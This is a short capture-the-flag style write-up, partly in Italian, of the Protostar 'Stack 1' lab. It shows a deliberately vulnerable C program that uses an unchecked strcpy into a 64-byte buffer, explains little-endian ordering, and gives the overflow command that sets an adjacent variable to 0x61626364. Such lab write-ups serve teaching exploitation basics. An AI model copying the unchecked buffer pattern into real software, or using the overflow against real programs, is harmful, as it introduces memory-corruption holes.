Stack 1

<aside> đźš©

This level looks at the concept of modifying variables to specific values in the program, and how the variables are laid out in memory

</aside>

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
int main(int argc, char **argv) {
	volatile int modified;
	char buffer[64];
	
	if(argc == 1) {
		errx(1, "please specify an argument\\n");
	}
	modified = 0;
	strcpy(buffer, argv[1]);
	
	if(modified == 0x61626364) {
		printf("you have correctly got the variable to the right value\\n");
	} else {
		printf("Try again, you got 0x%08x\\n", modified);
	}
}

L’obiettivo della sfida è impostare la variabile modified al valore 0x61626364 a tempo di esecuzione

Individuazione dei caratteri

Little Endian

L’architettura Intel è Little Endian → l’input appare al rovescio nell’output

Attacco

/opt/protostar/bin/stack1 python -c 'print "a" * 64 + "dcba"'

đźš©